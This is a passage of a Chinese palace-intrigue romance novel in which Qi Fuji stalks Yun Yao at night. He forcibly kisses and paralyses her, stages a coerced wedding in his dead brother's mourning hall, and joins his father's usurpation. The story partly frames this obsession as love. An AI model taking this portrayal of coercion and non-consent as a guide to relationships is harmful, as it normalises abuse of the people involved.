云窈的声音和动作一并消失,人如石雕——彻骨的寒从头弥漫到脚,她的确不能喊和挣扎,倘若被旁人瞧见,这份隐秘公之于众,受伤的只有她自己,至于齐拂己,不过多添一名侍妾罢了。 可她从此将被拘于世子院,见不得光,老了死了,仍烂在他的后院。 云窈的身体越来越僵。 齐拂己感受到怀中人放弃挣扎,心反而难受起来,肝肠寸断:她果然不想同他扯上关系。 就是因为她不想,他才只能在她睡着时拥有,得到一个没有戒备、没有躲避、不会推开他的怀抱。 齐拂己松开捂云窈的那只手,温柔地拨开她面前乱发,凝睇魂牵梦绕的容颜,他的眸光痴迷又绝望,虔诚恳求:“让我这样抱着你,我不会对你做什么。我们以前每晚都这样抱着的,不好吗?” 他顺势将她拉入怀中,双臂箍紧,脑袋反埋在云窈肩膀下,紧贴着她的锁骨。云窈缩脖往下瞅,他身子稍微蜷缩,看起来像个做错的孩子,但脸上却是执拗疯狂,她在他的眼里找不出真正的悔意,只有一种被欲望灼烧的空洞和偏执。 云窈控制不住抖了一下,怕被齐拂己发现又发疯,她咬牙止住,嘴巴也闭得紧紧的。 齐拂己像根蔓藤往上爬,冰凉的手摸她的脖颈、脸颊,反问:“怎么发抖了?是冷吗?”他自说自笑,“我们这是比杭州冷上许多,帮你捂捂,白日里给你手炉你又不要…… 他抱她愈发紧,想着要给屋里换银丝炭,再多铺点狐裘,开库房把御赐的白狐皮子都拿出来,想着想着,他就用脸蹭了下云窈,云窈只觉得晦暗、黏腻。 她一动不敢动,直到齐拂己丑时在她额上落下一个吻,眷恋不舍离去。 她依旧四肢僵着,不知过了多久,缓慢地,试着挪动手臂。明明里间只剩她自己,云窈却依旧要靠行动确定齐拂己是否远离。 他真的不在了,她倏地、终于松懈哭出声。 刚才吓得哭都不敢哭。 这一刻云窈多希望自己身为女子,能像汉阳公主一样有权势,这样就不惧,起码不那么惧齐拂己了。她真是无能,任人鱼肉,她无比想念爹爹和娘亲,如果他们还活着就好了…… “对不起。”云窈小声,像对爹娘,也像对自己说。 对不起,她害怕。 …… 云窈在落玉起来前提前梳洗,用脂粉遮盖哭肿留下红痕的双眼,但因为她生的极白,那粉反而显黑,好似眼周绕一层青黑眼圈。 落玉以为云窈单单只没睡好,不由关切:“小姐,你是不是又做噩梦了吗?” 云窈点头。 落玉竟然心大的问那梦有多恐怖?能搅得人翻来覆去,一夜就留下黑眼圈。 “很可怕……”云窈觉着自己真做梦了,梦到齐拂己是个好人,是真菩萨,而不是泥塑金身从供台上跌下,再爬起来成了炼狱挣出来的饿鬼。 梦里他很好,可是梦醒以后,水月镜花。 云窈重新修改了妆容,才去见齐拂意。 她在给他捏肩时飞速提了一嘴,想遵从命令,搬来齐拂意这边。 齐拂意的笑缓缓敛去——云窈刻意用了轻快语气,却一点没呈现她想要的轻松,她的紧张那么明显,甚至还能听出几丝焦急。 齐拂意以为母亲又给云窈施压,叹道:“待会出去详说。” 这几日他身子好些,都会和云窈一道散步。 云窈瞬时急出汗和泪,不能出去!外头容易被齐拂己听去! “不用详说,我就是想更近点照顾你!” 齐拂意上下打量她,母亲把人逼成什么样了。 “你不用这样。”他难过地回。 “我用!”云窈急得快要跳脚。 齐拂意是个心软的,怕她真急出个三长两短,松口答应。 他给云窈安排了东厢最好的客房,云窈却坚持住紧挨齐拂意的次间。 齐拂意一愣,他这二公子院的正房与别处不同,因为怕屋子大了他压不住,改得十分狭窄。那次间就在正房边上,隔一扇门,甚至有时就隔一道帘子,两边稍有些风吹草动,对面都能听到。 “这样对你不好。”齐拂意果断摇头,他不打算碰云窈,不能毁她清誉。 云窈却也摇头,非要坚持住次间。 齐拂意拗不过,却也满腹疑惑,追问云窈,再问得急了,云窈什么也不说,只默默流泪。 齐拂意道:“好吧,就依你,到时候我这间屋多放些长随,你那屋也多安排女婢。” 这样众人皆能作证他和云窈之间的清白。 等云窈回去搬家,齐拂意又私底下,极罕见的主动给公主捎话,让她别再强迫云窈了。 公主还未听完,就暴怒拍桌:“吾几时逼过那丫头!” 觉受莫大侮辱冤屈,急欲自证,却又觉得不能和云窈一般见识,显得掉价。 公主遂眺凤眼,安排起早就下定决心的正事——给齐拂意正式冲喜,准备嫁衣喜服,旗锣伞扇、喜烛喜被、盖头金秤、瓜果盘、合卺酒……她不愿亏待儿子,让那南边来的野丫头也得了实惠,能享用一场矜贵开眼的纳妾礼。 * 密室中。 魏国公父子齐心,共商大业,前头已经稳妥安排好,如今只再过一遍收尾——圣人大行之后,各宫各门,京中各营以及天下驻军,如何响应。 重布置完,确保无疏漏,魏国公方才后仰靠上椅背:“事急从权,务必要把你那些风花雪月放一放了。” 定好的日子,满打满算都剩不到一个月。 齐拂己也有心放云窈缓缓,不能逼太紧,要让她慢慢接受。自从揭穿真相,他视云窈如探囊物,又像风筝和放风筝的人,让她飞一会,之后再收紧。 齐拂己应了声是,回世子院去,将一进门坐下,拿起一份掩人耳目的礼部公文,还没看,速喜就现身禀报云窈搬去了二公子院。 齐拂己右手兀地攥紧,公文瞬骤成团。 这时小吉又来告知公主已将齐拂意纳云窈的日子提上议程。 “小吉,我们也准备一套。”齐拂己一面展开公文捋平,一面平静下令。 屋内三仆俱望向世子:准备什么? 当然是成亲的一应备品了,齐拂己笑,喜烛喜被、盖头合卺酒,样样都不能少。 “嫁衣要凤冠霞帔,”他笑容满面吩咐,“新郎倌的吉服就按我身量量。” 第39章 第三十九章 歹念生 * 云窈搬去二公子院的第一晚,仍含解药,一宿未眠。 这里真的不隔音,她数着夜里齐拂意统共翻了四次身。 清晨,瞧着天空放白,好似茫茫烟雾罩上窗楹,云窈虽然疲惫,心里却卸了口气,轻松许多。 如此连续三日,确定齐拂己不能再近身后,她才撤去解药,闭眼入睡——但遭数月磋磨,夜里竟再难深眠,稍微有点风吹草动就醒,有时候眼睛闭着,脑子却一直想事,哪怕不起夜也没睡着,只有到早上天亮后,才迷迷糊糊掺半个到一个时辰。 其实云窈失眠时也常翻身,她自己没意识到,齐拂意却被吵醒两回——人都有脾气,他也难免生气,但转念就为云窈考虑——是什么心事令她愁到夜不能眠? 齐拂意没当面问,怕被人听去,传话给汉阳公主,责罚云窈。 他只默默观察,放在心上,同时故意贪睡赖床,让云窈也能多睡会。 人前人后,齐拂意皆待云窈泾渭分明,像之前拉手写字那般亲近的事,再没有做过。 齐拂意还专门聚拢下人,肃然下令——云姑娘是来院中做客的,一定要贵客之礼待之。 他平常待下人,下人皆依,没有嚼舌根的。 许是上天有好生之德,齐拂意的身子一日康健过一日,偶尔天气好,能坐软轿出二公子院,到府里赏景。 这一日,亥月里难得的好天气,太阳晒得暖,齐拂意坐软轿在府内闲逛——《内经》有云:天有精,精化为气,冬必待日光。 这一晒也算补气,所以齐拂意不急着回去。 云窈自然得跟随照料。 齐拂意让她也坐轿子,但云窈瞧着抬轿子的,后面跟着的,二、三十人都用两脚,她又不似齐拂意生病,好手好脚,不好意思坐,就在轿边伴着步行。 齐拂意便私下嘱咐抬轿的小厮走慢些。 刻把钟才途经琴堤。 “湖边风大,别上堤了。”云窈想都没想就说。 齐拂意笑:“你瞧瞧哪有风?” 云窈一愣,提裙上堤伫了会,四面皆无风吹,她抬头仰望,骄阳刺目,天空湛蓝,白云如棉,今日真是极好的天气。 但她还是提醒齐拂意,上堤前先裹紧狐裘。 齐拂意眉眼弯弯:“好……” 一行人似摆尾的鱼,缓慢绕上长堤。 …… 堤分两头,另一端并行二人,一个是府里的世子齐拂己,另一位是宫里来的长清县主——说到这长清县主,还有一段渊源。圣人膝下单薄,养到成年的仅存一位惠明太子。太子成婚多年却一直无子,直到三年前,才发现民间一段露水姻缘留有一子,彼此才两岁。验了亲,圣人大喜,亲封皇孙,诞下皇孙的民女亦封东宫侧妃,就连民女的养女也得了个长清县主的封号。 天不允寿,惠明太子和侧妃在这三年内先后薨丧,圣人体恤小皇孙,带在身边亲自抚养,那长清县主住在宫中,常来探望小皇孙,因此与圣人相熟。 齐拂己入仕后常出入禁宫,前些日子偶遇圣人、皇孙和长清县主,就那么一拜,竟让县主倾心。 圣人有心促成,便让县主来国公府走动,齐拂己父子则担忧圣人明面上牵红线,实则已察觉府中异动。 因此国公命齐拂己作陪,提防戒备,随机应变,切不可掉以轻心。 齐拂己已做东陪游了一个多时辰,和县主处处鸡同鸭讲。比方眼下伫立堤上,齐拂己邀她赏景,县主张望一圈湖面,挠脑袋:“世子,这哪有景?” 齐拂己淡然眺望湖面,一池残荷满池秋,如何没有? 他微微颔首,县主跳到他身侧:“哪呢?这不光秃秃的湖面,就插了几根秸秆在里面。” 齐拂己蹙眉,她竟把残荷唤作秸秆?! “有了有了!”县主边蹦边指,“有鸭子。” 齐拂己顺县主所指望去,一行灰鸭穿残荷游近,倒有野趣,他微勾唇角。 “我们把鸭子抓上来吃吧!”县主旋即提议,不待齐拂己接话,就噼里啪啦给他介绍数种烹饪法、红烧、香卤…… 齐拂己仍望水面,日辉洒下,波光粼粼——这么好的天,却如此扫兴。 他耐着性子听她讲完,淡道:“走吧。” 习惯要抬手,却发现指尖正对方向是水月庵,一时勾起许多绮丽旧事。 他不愿引县主去水月庵,垂下右臂,同时不动声色晲县主一眼——她还在叽叽喳喳,齐拂己清晰瞧见好几拨口水从她嘴里蹦出来。 他深吸口气:“那边有个凉亭,上去我给你弹奏一曲吧。” 她在宫里应该听闻过他的琴艺。 奏琴不语,她能止声。 “我是个粗人,听不懂那些。”县主一口回绝。 齐拂己反剪双手转身:“那你想做什么?” “我们下水捉鸭吧,”县主笑嘻嘻,“世子陪我一道。” “我很喜欢这个地方。” 齐拂己忽然听见云窈的声音,脆若黄莺却一点不聒噪,带着江南女子独有的婉转。 是他太过烦闷,所以梦到她了吗? 他迟缓转身,循声望去,见云窈和齐拂意沿着琴堤,款款而来,边说边笑。云窈喜欢残荷野趣,犹若白描,前朝更有名句“留得残荷听雨声”,且她一想到来年夏天,这里又会重变回“接天莲叶无穷碧”,又可摘莲蓬。今年摘过三回,都很开心。 “记得我们在这采过莲。”齐拂意含笑看向云窈。 被说中心思,云窈朝轿里微微一笑。 扎眼、刺目。 齐拂己如一具表情和身子全都凝固的石雕。 齐拂意先瞧见齐拂己,主动招手:“大哥。” 云窈闻声脸上的笑骤然僵住,过了会,完全敛去。 她咬唇低头,飞快屈了一下膝盖:“大公子。” 长清县主从齐拂己身后绕出来,歪头好奇:“这二位是谁?” 齐拂意怔了下,旋即命人抬轿上前,结识县主,他介绍自己,又引县主和云窈相见。 长清县主对齐拂意无甚兴趣,却盯着云窈,目光胶在她脸上,半晌,呢喃:“真漂亮啊……” 云窈脸通红,转念想到齐拂己就在旁边,脸又瞬转恍白。 齐拂意却冲兄长眨眼,唇角的笑旋高:“我和云妹妹还有事,就不打扰大哥了!” 说着就让云窈跟自己一道折返。 云窈立刻调头,快步往回走,全程垂低脑袋,齐拂意看她好像不太明白,便朝她那边倾身,小声解释:“我们要有成人之美。” 他自以为离得远,却不知只长清县主没听见,齐拂己可听得一清二楚。 “还真是郎才女貌啊……”县主眺望着云窈和齐拂意远去的身影感叹。 哪里有才? 齐拂己旋即在心里反问,她的话简直是无理取闹,齐拂意方才可有过吟诗作画?可曾入仕夺魁? 她打哪下的定论? 胡说八道,无稽之谈! 他不良于行就算了,还让女子走路,自己坐轿…… “这么看着挺般配。”县主话痨,一开口就说个没完。 齐拂己骤然转身:“你住口!” * 云窈和齐拂意回院中时,公主派人送来一筐蜜桃,粉白相间,香气四溢。 云窈在旁听齐拂意和那送桃子的婢女交谈,又听他给自己解释,桃子辛能散行,酸能收涩,甘能养阴,苦能泻燥,咸能软坚润下,通经活络,最适合体虚之人。 “那我给公子削一个。”云窈欢喜。 齐拂意也高兴,朝她扬下巴:“你也尝尝。” “不成不成!”云窈赶紧摆手,蜜桃多熟于盛夏,这季节可是稀罕物——这筐肯定十分金贵,没准是御赐的,今日县主不是来了吗?她哪敢尝。 齐拂意却道:“我吃不了几个,多了积食,这又放不住,你不吃就白白坏了。” 云窈犹豫了下,这才答应给自己也削一个。 削的时候齐拂意同她攀谈:“你们江南的桃好,水润多汁。” 云窈边削边想,爹娘好像从没买过桃子,家里几乎不吃,但她还是偏爱家乡,点了下脑袋。 云窈吃完还好,不到半个时辰,忽然浑身发痒,尤其削桃的手,入口的唇,两样都眼见着肿起来。齐拂意急坏了,忘形抓着云窈的手看,又传御医,忙活一阵后痒是止了,嘴仍肿着。御医又开膏药,叮嘱云窈一日三涂,应该一、两日就能消肿。云窈千恩万谢,亲自送御医出门,却冷不丁瞅见齐拂己——他今日一身墨袍,是一个十足十的黑影,伫在二公子院门外那棵梧桐树后,隐半边身子,两只眼睛却未隐藏,穿过院门再穿过庭院,直直盯着她。 云窈心发慌,匆匆同御医道了别就往回走,回房反锁门,依然七上八下。 是夜,因为睡眠极浅,来人才刚进房,还未近到床边,她就醒了。 是齐拂己。 那黑夜噩梦再次降临,他一身墨袍几与夜色相融,一点红唇却似毒蛇吐芯。 云窈呼吸加重,顺手抓起枕头朝他掷去——滚! 掷完了,空垂两手,浑身抖得厉害。 她没什么力气,枕头落在齐拂己脚跟前。 他弯腰,不紧不慢拾起方枕,甚至有心拍去上面浮灰——不能弄脏了,他们还要同床共枕。 他一步步走向云窈,每迈一回腿,眼神就阴幽一分,她知不知道她白日里每一个反应和动作都在刺激他?他微微松开风筝线,可不是叫她飞向别的男人。 齐拂己目光挪向云窈双唇,紧紧锁住,这么肿,是不是别的男人也尝过了? 她真以为自己要嫁给二弟了?所以肆无忌惮在光明下暴露欢愉? 而他,躲在阴暗里,从来都不敢,也无法这样做。 齐拂己坚定抬脚,朝着床榻更进一步。 第40章 第四十章 成亲 云窈本能用膝后退,躲进床里,很快隔着帐纱抵上墙壁。 冰凉的触感激得她心里一惊——完了!不该这样逃,这是死路! 齐拂己单膝跪上床榻,彻底封死唯一出口。 他恨到不行,为什么二弟能亲,自己就不行? 他跪着步步逼近,听见云窈混乱的呼吸,看见她在用眼神质问他胆大包天,连迷香也不下了? 齐拂己再往前跪一步,唇抿一线,两颊绷紧,眼如鹰隼——是,他就这么堂而皇之地闯入,那又如何?她不是已经知道他不是允执厥中的人,更不是什么菩萨。 齐拂己逼到前胸贴前胸,缓慢低头,发现云窈这只兔子,逃不了竟然自欺欺人埋低脑袋,不看他。 齐拂己气得一把拽住云窈皓腕将人提起,迫她同自己对视。 他的指往腕上摩挲,摸到云窈掌心,觉出不对——她这里也肿了,和嘴上一样,好像不是二弟亲的。 但箭已开弓离弦,他不后悔,另一只空着的手掐起云窈下巴,再近些,迫她和自己唇齿相缠。 他温热的气息全扑在她脸上,和她冰凉的气息交杂在一起,令他身心迅速沉迷。他微微转头同时托着她的后脑勺也转,鼻尖摩擦,籍以此唤气。 “你为了躲我,不惜搬来二弟这里?就这么上赶着给他做妾?”他趁着喘气的功夫问,又吻上去,“给他做不如给我做。我是世子,文武远优二弟,身子也比他好,且娶你做正头娘子……” 他的语气越说越轻柔,求求她,也考虑考虑他吧,他哪一点比不上二弟? 力量悬殊,云窈完全无法挣扎,紧张、恐惧,连眼皮都在发抖。齐拂己竟还讨爱般呓语,她说不清楚自己的情绪,听着就掉下泪来。 “我哪一点比不上二弟?”他终究还是问了出来,问完顿觉自己落了下风。 云窈却被这一句话逼急,不敢对视齐拂己,只哭啼道:“他不会三更半夜,偷偷爬床!” 二公子不会对她肆意欺凌,白天却是一副道貌岸然的样子! 齐拂己兀地停止一切动作。 片刻,笑出一声。 好、好,她宁愿选齐拂意也不选他! 他重新捧着云窈的脸吻上,这回没有方才那样轻柔,说是吻其实更像啃咬,叩齿间带给云窈轻微针刺般疼痛。 他咬她的唇,还咬她的眼,好好治治这眼瞎,云窈本能紧闭两眼,睫颤眼皮也颤,眼尾甚至应过度闭紧现出数道纹路,齐拂己瞧在眼里,心中更恨,更用力地咬她眼尾,求求她,别这样,睁开眼看看他的,他没有下药,缘何还是不能四目相对? “你嫁不了二弟,我们明日就成亲。”他恨恨告知自己的计划。 不知是这句惊到云窈,还是他的啃噬提醒教导了她,云窈竟生出一份鱼死网破的勇气,虽仍泪眼朦胧,却对着齐拂己的下巴狠狠咬了一口。 咬完她又自个怕了,哭得更厉害。 齐拂己的下巴上顷刻现出一道牙印,有一处破皮渗血,自然觉疼,却毫不在意,第一反应反而是分开些,扬起云窈的下巴,仔细查看。 “牙疼不疼?有没有伤着?”齐拂己面上满是没有藏住的,下意识的关切和紧张。 云窈哭得吸鼻子,双肩震颤,世上怎么会有这种人? 她没骂过人,想来想去,只憋出一句:“咬你脏口!” 齐拂己笑了,一来她咬都咬了,二来她怎么骂人都没有怒意,这般好听,像小兔子跳起来发脾气,却一跃蹦进猎人怀里,毛茸茸,软乎乎。 齐拂己盯着云窈口唇的眼神,渐渐变得讳莫如深。 他手往上移,食指和拇指分别掐住她两侧嘴角,虎口稍微添一分力,一掐,云窈的嘴就不由自主张开。 齐拂己探入食指和拇指,缓慢捣鼓,极其享受,骂吧骂吧,厌恶也好,震惊也罢,只要她属于他。 他也要属于她。 “你们在做什么?!”齐拂意在门口质问,扶着门框胸脯上下起伏、剧烈喘气。不知他何时闯入,又瞧见了多少?云窈是因为惊惧完全没有注意,齐拂意兴许听见了响动,却不以为意,就像他扭头看向齐拂意那一眼,漠然、平静,也许他早就期待有这一天。 齐拂己转回头去,抬手抽开云窈衣上系带。 云窈哭得更厉害,齐拂意踉跄向前:“你们、你们……大哥你不能这样对她,你……” 齐拂意忽觉胸闷气短,喉中响起阵阵鸡鸣声,莫说说话,就呼吸都难继续,他心里生起一股惊慌,汗倒是迅速浸湿整张脸。 他忽地仰头向后栽倒,发出咚的一声。 “二公子!”云窈尖叫。 齐拂己也没料到齐拂意会发病,松开云窈。她趁机跳着跑下床,着地时太用力,崴了一下,仍往前跑,齐拂意仍离床远,云窈几乎是半跪半爬过去,见齐拂意仰面睁眼张口,不仅脸白,唇还现出她从未见过的青紫色。 齐拂己随后走近,蹲下探鼻息。 “他怎么样?”云窈的泪从床上流到床下,没有止过,因此问得含糊不清。 齐拂己深深皱起眉头,她怎么还在关心二弟? 齐拂意犯了和圣人一样的喘症,又气急攻心,方才探时已无鼻息。 齐拂己没想过让齐拂意死,心里不由涌起一阵难过,但又想,二弟的身子本来就被断言活不过二十岁,遂收起恻隐心,起身。 他看云窈还在哭,哭另一个男人,他凝视她的梨花带雨,起手封住她的定穴和哑穴。 云窈止声,向后栽倒,齐拂己早伫在她身后,抬手稳稳接住。 他将她打横抱起,放到床上,云窈无比紧张,眼珠不住转动,齐拂己扬了扬唇角,她想哪去了?他不是已经告诉她了吗?明日才娶她,别急。 他在她额上落下一吻,若蜻蜓点水,一触即分。 而后缓缓离去。 云窈躺在床上,不能动,不能言,只能看见一部分自己的屋子,却能听见所有隔壁正房的对话——天亮了好久,有仆进屋服侍齐拂意,发出一声尖叫和盆碟碎落的声音,还有水声。 她听他们说,二少爷犯了喘症,在睡梦中去了,昨晚已经流干的眼泪又无声淌下。 众人很快喊来汉阳公主。 云窈还是不能动,仔细听了一会,整个二公子院都一口咬定齐拂意是躺在床上自己睡过去的,她越听越急,不信昨晚那么大动静,就没有一个人听见、瞧着? 他们不仅缩头无视,还要作伪证! 这些人常年受二公子恩惠,她明明,明明时常感受到他们对齐拂意的热情和忠心,难道一切皆是错觉? 汉阳公主哭天嚎地,好像晕过去被人抬走。 再后来,隔壁就没声了。 云窈不知过了多久才能动,试试嗓子,能发声,但因为哭多了变得喑哑。她顾不得许多,挑出一套白衫白裙,没有白花就随手绾了个素髻,匆匆出门。 沿路皆挂挂起白幡,云窈一路未曾遇人,但闻哭声。她便沿着哭声寻去,果见正厅设了灵堂,两侧各跪四排仆从哭灵居丧。 云窈眼前一黑,晃了晃身方站稳。 她快步踏入堂中,汉阳公主也易服布素,正立在棺材,含泪训斥下人。她问魏国公上哪去了?为什么儿子死了还不回家? 下人大多噤声,有个胆大的回说未寻见国公,公主就哭嚎:“找,翻遍了京城也要给吾找出来!” 她侧首时无意扫见云窈,顿时怒目圆睁——之前悲恸,竟把这个妖精忘了! 她安排云窈住进齐拂意院子,就想让她照料儿子,结果这妖精不仅没冲成喜,夜里没有察觉异样施以援手,意儿死了,她还姗姗来迟! 汉阳公主上前就是一巴掌:“就是你这个祸害,克死我儿!” 掌风劲道,用了十足十的力气,却在半空中被人抓手阻住。 公主怒目看向来人,见是儿子齐拂己,脸色本能放缓,却见齐拂己着一身崭新的绛色公服,金冠子旁簪一朵罗花,手里拿着同心结牵巾。 公主疑惑怔忪:“吾儿,来吊丧怎穿成这样?” 这般喜庆。 齐拂己平静看向母亲,松开手,公主的胳膊即刻垂下。 他神色自若道:“照顾好殿下。” 旋即有数护院持械将公主逼退一旁,围在当中。 “做什么?镜明你做什么?”公主不住追问齐拂己,又呵斥那帮护院,“你们好大的胆子敢拘主母?!” 护院眼观鼻、鼻观心,默不作声。 而余下涌入的仆从则迅速摘下白灯笼和白烛,换成红灯和龙凤花烛,移走哭幡和引魂幡,扎上红绸彩带,正中墙上贴的奠字换成喜字,那口棺不便移走,索性盖上一块红绸,完全遮住。 云窈张望四周变化,渐渐抱紧双臂,见齐拂己朝自己走近,即刻一抖,吓得失声。 齐拂己抬手,帮她把一缕乱发勾回耳后,真是要想俏一身孝,此刻的她绝色之上更增绝色。他又想,不知道自己死的时候,她会不会也为自己守灵流泪? 想到这齐拂己噙笑,他不会的死的,他要和云窈百年好合。 主香司仪入内,念诵完一段祝词后,高呼“一拜天地”。 云窈没动,齐拂己轻轻在她身上一按,她就腿软跪倒,跟他一起朝上首嗑了个头。 “二拜高堂——” 公主时而困惑质问齐拂己疯了,时而骂骂咧咧,齐拂己全都视若无睹,挟持云窈,一道给公主磕头。 云窈喘气,眼皮不停的眨,不知是悲愤还是惊恐,她眼里那些换上去的红像是血泼上去了,满眼的血,四面八方,迅速吞没灵堂。 她眼前一阵一阵黑,终支撑不住,晕了过去。 身子软塌榻瘫在地上,齐拂己将她拉进怀里。 “夫妻对拜——” 齐拂己扶着云窈,完成仪式的最后一环。 他虽然面色平静无甚笑意,但其实心里十分高兴,从今往后她就是自己明媒正娶的妻子,而他,将成为她永远的夫君。 十二道丧钟骤然响起,穿透京城,喋喋不休的公主瞬间呆滞。 齐拂己仍面无表情,心头却道一切都安排刚刚好。他很满意这份有条不紊,因为国丧期间不能娶亲。 公主的呆滞变为悲嚎,一声声唤着父皇,她忘记齐拂己刚才做的疯事,甚至忘记这满堂喜庆,不顾兵刃走向儿子,试图共情取暖,又问丈夫魏国公现在何处? 她的夫君为什么还不回来? 很快有小厮回报:“陛下复发喘症驾崩,殿下节哀。” 公主哪里节哀得了啊,想到父亲儿子,因一样的病在同一天离世,就觉得天塌地陷,肝肠寸断,此刻她不再是公主,而是这个世上最苦命的女人! “如今小皇孙继位,国公爷暂摄国政。”小厮又禀道。 40-50 第41章 第四十一章 暴君 公主抹一把眼泪,直起身,原来夫君没回来是在宫里受托孤,她瞬间原谅魏国公,又迫切想见他,想他帮自己拿主意,想借他肩膀靠一靠。 公主下嫁二十余年,难免对国公有过微词,时至此刻,才完全认同他是家里的主心骨。 她回望被红绸复盖的灵柩,既放心不下意儿,又恼火齐拂己所作所为,但还是决定去宫中。 “母亲。”齐拂己低唤。 公主拧眉:“做什么?” “孩儿和您一道去。” 公主闻言心头一软,瞥这灵堂不像灵堂,喜堂不似喜堂的正厅,再看齐拂己怀中云窈,脸重板起。 齐拂己将云窈托付给大安、速喜、小吉三仆——他早就提前安排好,自己入宫期间三仆护云窈周全,不允任何人近身。 三仆都说让功夫最好的速喜跟去保护世子,有个照应,齐拂己却拒绝,照顾好云窈才是最重要的事。 公主入宫见到大行皇帝梓宫,她夫君魏国公就立在梓宫左侧,正替她守着父皇。 公主步子加快。 国公展开右臂迎她,尚未收手,公主就倚进他怀中,低低啜泣。外头无声下起京城的初雪,纷纷扬扬如鹅毛乱飞。 “冷了,添件披风。”国公说着吩咐内侍,给公主拿件狐裘。 “不用。”公主不仅拒绝,还离开国公的怀抱,自个站直。她敛起眼泪,打起精神,要和国公并立,一道主持国丧。 梓宫停灵二十七日,汉阳公主和魏国公相护扶持,公主竟有生以来第一回下厨,熬了枣粥端给国公,道他案牍劳形,要补些益气的。 国公一笑,放下奏章,不顾烫喝了一口。 二十七日后,先帝出殡,小皇帝在丧礼上主动禅位国公,国公三让而受天命,重定了国号,大赦天下,封昔日的汉阳公主为皇后,齐拂己立为太子。 公主自此才幽幽醒悟,瘫靠椅上,一双胳膊遍起鸡皮疙瘩。 但她很快手撑着重新站起,寻到从前的国公,如今的圣人,不顾数名朝臣及众宫人内侍在场,痛叱圣人。 公主指面怒骂狼子野心。 圣人面一沉,昔年少男少女,他自然爱慕过她的姣好容颜和矜贵,也爱慕金枝玉叶的触不可及,他很快就娶了她,待婚后才体味到许多苦涩,一来公主骄傲强势,婆母在时受了不少媳妇的气,他身为儿子眼见母亲受辱,却无能为力,实属不孝。 二来公主自己不愿多生,又不允他纳妾,连抬个丫鬟去母留子都不许。只得俩儿,一个遗传了天家的喘症,另一个看起来幸运,身子康健,出类拔萃,但性子太执拗,之前一直囔囔出家,现在又为一个女人撞南墙——齐拂己灵堂上做的那些事,圣人一清二楚。 虽然圣人对汉阳公主颇多不满,人生重来,未必愿意再做天家婿,但这一辈子已然如此,他还是打算跟她白头偕老的。 圣人默道了句家家有本难念的经,压下脾气,将公主拉至私下,问她已经是皇后的,还有什么不满意? 他有意和解,公主却被这句话彻底点燃,浑身发抖,激动之下口不择言,直呼圣人名姓:“齐峦,你这个狼心狗肺的窃国贼!我父皇待你不薄,你都忘了吗?” 圣人别首,浮现愠色——又来了,她又和先帝一道羞辱他。 圣人转回首与公主四目相对,手扶胸口:“你到底站哪边?女子既嫁从夫,你嫁了齐家就是齐家的媳妇!” 半晌,公主操起一座珊瑚砸向圣人:“儿子都叫你教坏了!” 圣人后退躲避,尽力使语气平和,就事论事:“我俩的事扯镜明做什么。” 公主不再理他,手边有什么就砸什么,轻的掷头,重的砸脚,噼里啪啦。 到后来圣人也脾气上来了,陪着砸,还追问公主,当年嫁他到底是不是真心? 门外宫人内侍个个噤若寒蝉,恨不得没长耳朵。 这一通乱战闹剧最后以汉阳公主呕血晕厥,圣人抱住公主唤御医结束。 公主,如今的皇后转醒后,没有要求见圣人,只命人通传齐拂己。 齐拂己很快来见,跪地行大礼,汉阳公主不语,待齐拂己站起,抬眼打量他的穿着——紫襕袍,圆领大袖,金玉革带。 公主噙笑:“你如今是太子了。” 良久,齐拂己拜道:“母后。” 公主笑出一声,心灰意冷:“吾从小教导你忠孝友悌,正己化人,现在你就是这样尽孝的吗?” “孝心论心不论迹。”齐拂己从容接话,自己虽然依从父亲做了改朝换代之事,但他会永远敬重母亲,绝不会允人伤害她的身体发肤。 再则,母后重新住回宫中,难道不开心吗? 这可是她从小长大的地方。 公主隔着两丈端详齐拂己,这就是她的儿子,她的夫君,但除了这两个男人,她已无其它倚靠。 “没别的事你先退下吧。”公主阖眼,连摆手的力气也无。 齐拂己恭敬告退,天下初定,许多事情要忙,父皇也有传召他。 齐拂己匆匆赶往乾元殿,与圣人共议,圣人后来不放心,还是在开春前派人毒死了小皇帝。这是后话,暂且不表,只说云窈悠悠转醒,不知何年何月,自己躺在一张雕花镀金的檀木床上。 这床跟寻常人家的屋子差不多大,被束到两侧的帐幔用的料子云窈叫不出名字,但能瞧出质感绝佳。 她转头,继续观察,发现床头竟然雕着一条龙,不由心惊,再陡见帐幔后伫着齐拂己,更是吓一大跳。 “你醒了?”齐拂己笑着拨开帐子,坐到床上。 云窈往里缩。 齐拂己视若无睹,挪身往里坐些:“御医说你血不养心,待会喝碗桂圆粥。” 云窈还往里缩。 齐拂己笑道:“躲什么?我们已经是夫妻了。” 说着就去捉她的脚,云窈自然回缩,齐拂己手一顿,面上笑意未减。 “还想见你那婢女吗?”他用跟刚才关切她一样温柔的语气问。 云窈不动了。 齐拂己缓缓捉齐云窈的脚,褪袜:“你上回跳床崴了脚,给你上了药。” 云窈闻言一顺望向自己脚踝,没见红肿。 “快好了。”齐拂己自说自话,给她揉脚,“记不记得有回在外头,你也崴过一回,我帮你上的药。” 云窈即刻脑内重新那日场景,国子监回府路上发生的事情,她记得清楚,那会还当齐拂己的渡河僧,救苦救难,大慈大悲。 云窈眼泪决堤下淌。 齐拂己听见哭声,手上一滞,片刻,重揉起来,手法跟刚才一样轻柔耐心。他的笑渐渐消失,看向云窈时脸上除了阴沉,还有几分悲哀:“明明是我最先认识的你。” 他转过脸去,还是注视云窈的脚,不然说不下去:“我哪里做得不好?为什么不能像待其他人那样待我。” 他的语气还是好商好量。 云窈忘了深究为什么说他先遇到,只哭:“你和我害了二公子!” 现在她有五分肯定,张宗云也是被齐拂己所害。 齐拂己启唇,宽慰云窈:“二弟少时就被断言活不过二十,你不必自责。”他顿了顿,“且他这个人,就是不敢,什么都不敢。” 二弟比他差多了。 “他不像你,匪贼、恶霸!”云窈抽泣着骂。 齐拂己一笑,兔子急了又咬人了,每回她骂他都骂得心痒痒,甚至隐隐起势。 匪贼又如何?自目睹父皇君临天下,他便笃定:窃钩者诛,窃国者侯;小盗为匪,大盗为君。 齐拂己揉完脚,起身洗手,云窈不敢尝试在他眼皮底下逃跑,只抱起双臂,借哭作掩护,偷偷观察齐拂己。 他手在金盆里浸水,捋过,偶响水声。他抬手就着巾帕擦干净,而后走向圆桌,倒了两杯玉液。 酒香即刻飘入云窈鼻中,此酒必定上佳——但云窈没心思考虑酒好不好,只紧张盯着他,大气不敢喘,哭也不知不觉止住。 齐拂己一走端着一杯酒走近,温情脉脉:“我们虽然拜了堂,但还没来得及交杯共饮,亦未结发。” 云窈睁大双眼,倒吸冷气。 齐拂己徐徐递来一只杯酒。 